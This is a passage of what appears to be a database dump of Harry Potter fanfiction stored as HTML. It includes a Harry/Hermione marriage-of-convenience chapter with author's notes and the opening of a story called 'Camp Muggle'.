.5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;Get\nmarried&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(132, 2, '\n\n\n\n<p class="MsoNormal"><b>A/N : Today&#8217;s Saturday! I finally get to write.. Life has\nagain been the pits for me, so many obstacles , everything I do is wrong, most\nof my opinions resembles trash and life has just been faithless. I&#8217;m not\nappreciated , people mock me, and why do I feel that I miss someone I don&#8217;t\neven know. And right now, I&#8217;m feeling sorry for myself! Just ,review ok?</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Disclaimer\n: </b><b>This story is based on characters and\nsituations created and owned by JK Rowling, various publishers including but\nnot limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended. </b><b></b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Summary :\nEver had someone you cared about but as a friend? or not? When were you torn\nbetween love and friendship? As Harry and Hermione join in holy matrimony just\nto avoid other relationships, they find themselves in&nbsp; one</b>.&nbsp; </p>\n\n<p class="MsoBodyText"><b>Spoilers : Harry Potter and The Chamber Of\nSecrets , Harry Potter and The Philosophers Stone, Harry Potter and The\nPrisoner Of Azkaban , Harry Potter and the Goblet Of Fire.</b></p>\n\n<p class="MsoBodyText"><b>&#8216;</b><b>So\ntake a look at me now<br>\n\'Cause there\'s just an empty space<br>\nThere\'s nothing left here to remind me<br>\nJust the memory of your face</b></p>\n\n<p class="MsoBodyText"><b>So take a look at me now<br>\nWhen there\'s just an empty space<br>\nAnd you\'re comin\' back to me is against all odds<br>\nAnd that\'s what I\'ve got to face&#8217; </b></p>\n\n<p class="MsoBodyText"><b>-Against All Odds, Phil Collins</b></p>\n\nChapter 1 : For A Dispatch\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><b>***</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What happened to\nlife as she knew was? Life without turmoil, hostility, and without men.\nLife.&nbsp; The physical, mental, and\nspiritual experiences that constitute existence. More like the journey towards\na physical, mental and spiritual death. So, why are we here? What is life? What\nis a soul mate? When are we going to die ? What is beauty ?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">What is\nbeauty? </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Beauty lies in\nthe eye of the beholder , according to the Christian Coalition. A statement\nthat was punctual and accurate, a saying that has effected so many souls, a\nphrase that you would see and hear everywhere . If only it was true. We all\nknow beauty isn&#8217;t under our skin, its on it. Harry never knew &#8220;outer beauty&#8221;,\nnever in his life has he even had a glimpse of a true allurement . </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Not until this chapter anyway. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">***</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nat an article a professor wrote , &#8216;Women, the weaker sex&#8217; , she sighed and\ncontinued to read it :</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Women. It&#8217;s\namusing how we are suppose to be unfair when they expect us to kowtow to their\nevery need. They expect to be treated like a lady, yet, they want equality in\nthe world. This should be a familiar phrase for all males out there &#8220;You always\nwant to win&#8221; , but they do not realize that at that moment they are to be&nbsp; wanting the supposed &#8216;winner. And what about\nthe subject of marriage? what is the point of it? Nothing, completely nothing,\nit is sentimental, costly, and extremely sappy. How humane! &#8230;&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione huffed\nas she walked towards Professor Guy Gayle&#8217;s office (He will play a very big\nrole in the upcoming chapters)&nbsp; .Professor\nGuy Gayle sounds like something that came out from an episode of Ally Mcbeal.\nShe abruptly stopped , her eyes danced around the words &#8220;Professor Guy Gayle,\nHead Of Muggle Literature&#8221; , she knocked the wooden door politely. A young man\nexited the room , his head snapped up and Hermione found herself eyeing him. He\nhad light hair, moderately tanned skin, tall and his eyes, his eyes were\ninevitable. She watched as he walked away, his body decreasing every time he\ntook a step . Hermione shook her head, gaining consciousness . No man has ever\nmade an impact on her, like he had, never had she felt salacity, not in a long\ntime anyway. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She took a deep breath, letting the\nair hit her flawless face , she took another breath and continued to knock on\nthe maple door.&nbsp; Knocking harder and\nharder,&nbsp; frustration overwhelmed her petite\nbody.&nbsp; Sighing , Hermione decided to\nknock on that door one last time before giving up. As her fist collided with\nthe cold hard wood, the door opened and that same fist met with an old ,\nwrinkly forehead. She gasped:-</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor\nGayle? Oh my god, I&#8217;m so sorry. I didn&#8217;t mean to. Professor, I&#8217;m so sorry&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Gayle?\nI&#8217;m not professor Gayle&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh,\nshit, he lost his memory. Professor, do you need to go to the apothecary room?&#8221;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I am not\nGuy Gayle! and I&#8217;m fine&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are you\nsure? No bruisers or bumps , especially on the head?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;NO! I am\nnot Gayle, I&#8217;m old, short&nbsp; and wrinkly,\nhis blonde, tall and young&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nmean&#8230;&#8230;&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nmiss what ever your name is, I am not Professor Guy Gayle, I am Professor Howel\nand you are?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Granger\n, now sir, please excuse me, I have to search for Professor Gayle&#8221; she said in\na rush. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But&#8230;&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">And she\nwas off. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">***</p>\n\n<p class="MsoBodyText2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry\nlanded on the ground with a thump , Melinda Graham , the assistant coach for\nthe English Quidditch smiled at him. He bowed jokingly towards her, her cheeks\ncolored, laughing quietly , he walked towards the male locker room. He removed\nhis shirt in anxiety , wanting a sensual shower and hopefully alone. Someone\ntapped on his right shoulder, Harry groaned inwardly , turning to face him.\nShocked, Harry gasped at the woman standing before him :</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Graham,\nthis is the male locker room and I think your all female&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I should\nhope so but I have something called a coach&#8217;s right to enter any locker room&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;naughty&#8221;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She\nblushed again. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m here\nfor a reason&#8230;.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh, so\nlooking at hot naked guys isn&#8217;t one?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I have a\nlife&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ouch&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shut up.\nNow listen, I&#8217;m here because there has been a rumor about you and a certain\ngirl&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Again?\nNow who? Cleopatra?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Close\nbut not exactly . Hermione Granger&#8221; she jostled today&#8217;s newspaper towards Harry\nchest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Again?&#8221;\nwhile reading through the front page. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,\nand it says here you two went somewhere secluded&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?\nThe ladies room?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now,\nwho&#8217;s the naughty one.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nthere&#8217;s nothing going on&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220; That I\ndon&#8217;t care but this is bad publicity , Harry. I mean, one moment your with that\nCallista girl and the next moment your back with her. What&#8217;s going on?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\ncomplicating&#8221; he urged to sit down. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nyou better get it right. This is the Premier League , we cant afford to lose\nmore fans&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What am\nI suppose to do then?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Settle\ndown, show the public that you are not one of those Casanovas. Feminism is so\nimportant nowadays and female fans need to know that your for it. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Fine,\nI&#8217;ll try&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But I\nhave no idea how to do this&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That\nisn&#8217;t my problem&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And I\nthought you cared&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But you\nthought wrong&#8221; And they laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">(A/n: That\nwas hard)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">***</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of all the people&#8221; Hermione\nmuttered while searching through the corridors. Her head twisted from side to\nside , eyes fixed on every male that fit his description. She read the article\nagain:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Based on\nthe principles we own , it&#8217;s of no use for us to get married. Personally , I\nthink that women just want a ring&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She felt\nthe rage build up insider her,{Just want a ring! To hell with men}. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Interesting&#8221;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gasped, her eyes were\nsquinting. She whirled around and looked at him . He was beautiful, golden hair\nwith striking blue eyes that could pierce right through your heart, he looks\neven better . He smiled at her charmingly, almost even seductively. Hermione&#8217;s\nrosy lips were half open, touching it barely with her fingers. A part of her\nwanted to pull his shirt off and kiss his chest, leaving love bites all over\nbut a part of her wanted to just smack that superior smirk off his face. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">{To\nheaven with men}</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hello?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nshook her head. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh, I&#8217;m\nHermione Granger , I think I saw&#8230;..&#8221; she said while extending his hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He took\nit &#8220;I know who you are. Let me guess, your another member of the faculty who\nhas a misconception for my article&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Pardon,\nI&#8217;m still studying&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">His face\npaled slightly while letting go of her hand. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh&#8221; while\nrunning his fingers through those golden locks. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But I do\nhave a &#8216;misconception&#8217; for your article&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He smiled\nslightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You see,\nit&#8217;s true that men usually want to win, it&#8217;s a chauvinist thing&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But&#8230;..&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And as\nfor marriage, don&#8217;t you believe in love?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And we\ndon&#8217;t want men to be at our feet 24 hours a day, it&#8217;s abating&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We want\nto be treated lady-like , no doubt but we too are frequently treated as one of\nthe guys&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ms.\nGranger&#8221; he whispered while grabbing her shoulders &#8220;Listen to me, I know you\nare a feminist, I&#8217;m not against it either but when you read that piece of\nparchment , don&#8217;t you have the slightest bit of assessment that it is true?&#8221;\nShe stared blankly at him, feeling his touch on her shoulders. He too was\nmesmerized by her half open lips but too soon realized his fingers gripping\nfirmly on her shoulders. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsorry&#8221; he murmured. She coughed faintly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But it\nis true&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What you\nsaid&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;About\nthe&#8230;.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The\nunfairness of women, but men too have their moments&#8221; she smiled. He looked at\nher for a split second until dismissing himself from the gawk. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nI&#8217;m running late&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Bye&#8221; she\nwhispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;B&#8230;&#8221; he\nsaid while walking away. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rubbed the back of her neck\nwhile watching him walk away for the second time. For the only person who ever\nmade that kind of impact on her was&#8230;&#8230;&#8230; Harry. As she came to that realization,\nshe thought about him {Harry}, {Oh, shit . Harry!}.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">***</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry searched through the closet in\nSanta Clause boxers, he looked through his fifteen quidditch robe , all white\nand red. Chuckling, Harry looked up and down for something suitable to wear. He\nbent down with his derriere in an up right position , he crawled under some\nwhite blouses, then,&nbsp; some pink ones,\nthen , some green ones (God, how many does she need?). A gold glint caught his\neyes, he headed towards it. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He leaned on a wall while removing\nthe contents of the box. Ring. Orb. Moonstone. Don&#8217;t know what. But as it\nended, a fragranced pink letter tied with a golden ribbon appeared. He\nrecognized this, it was when they agreed to move in with each other , well ,\nmore like Hermione decided to move in with him. Descending the piece of\nparchment open, he smelled it , enjoying the fragrance sweep over his face. -:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dearest ,\nhandsomest , kindest Harry,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Would you mind if I moved in with\nyou? Can you believe that Ron and Claudia actually are having a baby without my\nconsent? I mean, I still pay half the rent. The baby will probably make a lot\nof noise which will cause me deafen me. Just joking. Anyway, you know I love\nchildren but I cant really focus on my studies when those little cubby hands\nreach up to touch me. So, Harry, would you? Please. I know it wouldn&#8217;t be hard\nfor you to say no , especially to me but I really need this and I know you have\nenough space. As for you love life, you know it wont be affected. (At that\ntime)I have to go and break the news to Ron. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Love, </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">(How\nna&#239;ve she was)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He heard lamentation of water hit a\nlustrous marble floor. With his head up and his eyes emended on the bathroom\ndoor. Peering in , he gasped quietly at the sight before him. Hermione\nundressing. He closed his eyes but quickly opened them in anxiety , gulping\nagain and again. She entered the shower with her hands gripped firmly on her\ntowel. She hung the pink towel over a rack near &#8211;by. The water hit her upper\nphysique, she brought her hands towards her hair for a rough pony tail. Harry&#8217;s\neyes remained on her , squandering the thought of her luscious body. But why\nthe lurch?. Why that funny , tingly feeling near his gut? He blinked blatantly\n, knowing that he was watching his best friend shower. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Psyches ran through his head but he\npushed them aside, for he couldn&#8217;t help but gawk.&nbsp; She rubbed her sides, he quickly closed his eyes, as his eyes\nbegin to open , he whirled around . Walking past the closet and towards the\nexit , sweat came over his body. He grabbed a glass of water that stood on a\ntable, drinking it enthusiastically. To actually know that he was excited by\nhis best friend was nothing but hard. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione entered with her towel\nwrapped around that trim body. Harry&#8217;s eyes stung at the occurrence , never\nwill he look at her the same way again. He looked at Hermione&#8217;s perfectly\nrounded face, in no degree had she been that way. Hermione inched nearer towards\nhim, barely touching the bare skin on his shoulder while whispering &#8220;Harry&#8221;, he\nshrugged it away. &#8220;Harry , what&#8217;s wrong?&#8221; she palmed his chest but he pushed\nboth her hands away. Harry reared towards the study table, a piece of parchment\nout shone the others with the word &#8216;matrimony&#8217; bolded. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Matrimony.\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:.5in 4.5in">A/N: I haven&#8217;t had this beta read yet, heck, even the last\nchapter wasn&#8217;t but I need someone to so, people help!. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n'),
	(134, 1, ' <p>Disclaimer: I don\'t own H/H. JKR does. She\'s a goddess! I\'m just borrowing them for your entertainment. =)</p>\n\n<p>~*~</p>\n\n<p>Camp Muggle 1/17</p>\n\n<p>~*~</p>\n\n<p>Chapter One:</p>\n\n<p>Hermione Granger sat in the living room of her parent\'s home. She had just gotten home from her 6th year at Hogwart\'s School of Witchcraft and Wizardry. It appeared as if she wouldn\'t be staying long though. As soon as she\'d returned from another school year, her father propositioned her with a summer job opportunity. The dental office he co-owned was a sponsor for a children\'s summer camp who were in desperate need of counselors. Naturally, Hermione had immediately agreed as it was in her nature to always help those in need. Having a summer job, she rationalized, would also give her some extra spending money for the usual trip she made at the end of summer break to Diagon Alley with her two best friends Harry Potter and Ron Weasley.<br>\n\n<br>\n\n</p>\n\n<p><br>\n\n<br>\n\n</p>\n\n<p>Currently, Hermione was waiting for return owls from Harry and Ron. When her father asked her to be a counselor, he also asked if Hermione had any friends who were interested. Her immediate thoughts had gone to Harry and Ron. Especially being gone all summer, the thought of not spending any time with them until the following school year was almost unbearable. The three grew closer every year they attended Hogwarts.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Hermione dear,&quot; her mother walked into the room. It was immaculately clean and nicely decorated. Hermione\'s parents made quite a bit of money and had a beautiful home.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Yes Mum?&quot; she smiled from her spot on the couch.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;You know it won\'t make the owl\'s come any faster to sit her and wait, doing nothing,&quot; she smiled wiping her hands on a dish towel she\'d brought out with her from the adjoining kitchen.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;I know Mum,&quot; she smiled. &quot;I\'m just excited to receive their responses.&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Well dear, how about we make a deal. You run along and pack the rest of your bags up. By the time you\'re done, supper will be ready. If at any time an owl shows up, I\'ll be sure to inform you immediately,&quot; she smiled at her daughter.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;All right,&quot; Hermione obliged, heading up to her room. She had been home for five days now. In another two, she will be heading off to Camp Silver Lake. Hermione was absolutely thrilled for the experience. Not only would she be having a fun summer and making some extra money, but she\'d be able to be surrounded by Muggle children. She felt now that she\'d been studying so intensely on her studies at Hogwarts, it would be good for her to connect with her Muggle roots. She\'d also be able to make some interesting comparisons now that she had a more thorough understanding of the wizarding world. Leave it to Hermione to turn everything into a learning experience.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>As Hermione zipped up her last suitcase (she\'d packed three), her mother called. &quot;Hermione, there are two owls here for you!&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;I\'m coming!&quot; She called back, hurrying excitedly down stairs.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>As she reentered the living room, she saw Hedwig and Pig. Hedwig, Harry owl, was sitting patiently atop an armchair. Her leg was already extended toward Hermione showing she had a roll of parchment attached to it. Pig, Ron\'s overexcited pygmy owl, however was banging off the walls in all directions. Hedwig turned her head in what looked like embarrassment at the sight of Pig and instead focused on Hermione as she approached.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Hello Hedwig,&quot; Hermione smiled, giving her a friendly rub on the head before undoing the letter attached to her leg. She nipped friendly at Hermione\'s fingers before flying over to Hermione\'s mother who set out a water dish for her. Hermione proceeded to unravel the parchment.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p><i>Dear Hermione,<br>\n\n\n<br>\n I would love to be a counselor. Please tell your father I kindly accept his offer. You know I\'d jump at any chance to escape the Dursley\'s for the summer. Ron called me on the telephone to say he was owling you with his reply too. I\'ll let you read it for yourself. Uncle Vernon was not so pleased that Ron had used the telephone. You think the git would realize not to yell after five years of practice. Needless to say, Uncle Vernon is still upset so I am grateful to you for this invitation. I arrive by floo powder tomorrow at 5pm in time for supper (if that\'s alright). Maybe sooner if Uncle Vernon is still upset. See you soon.<br>\n\n\n<br>\n -Harry</i><br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Hermione smiled. She definitely hoped it would be sooner for his arrival. It had only been five days, but she missed Harry like it had been five years. She\'d never mentioned it to anyone, but Hermione had developed quite a crush on Harry. It began at the end of her fourth year at Hogwarts. Harry was so brave and kind and such a wonderful friend. She\'d watched him grow more every year, each time becoming more and more wonderful in her eyes. She\'d also noticed him growing more and more attractive every year. The end of fourth year was when she\'d first kissed his cheek goodbye. At first it had been a friendly peck, but all summer long, she recalled the way his skin felt under her lips. Her fifth year had been a difficult challenge to hide her feelings for him. She was certain he\'d never felt the same way. He\'d begun dating their fifth year. Spent the year dating a Ravenclaw girl named Rebecca Malloy. She was beautiful and smart and kind. She was a year younger, but as Hermione had noticed, top in her class in all subjects. She had curly brown hair and was often in the library at the same time as Hermione. In fact, if Hermione had paid more attention, she would have noticed the similarities between Rebecca and herself. Much to Hermione\'s happiness, however, Harry ended his relationship with Rebecca at the start of their sixth year and has not dated anyone since.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Turning to Pig who was flying with one wing against the wall toward her, she caught him by the middle. Quickly she untied the piece of parchment that was wading him down. Pig immediately buzzed over to Hedwig and the water dish. Hedwig 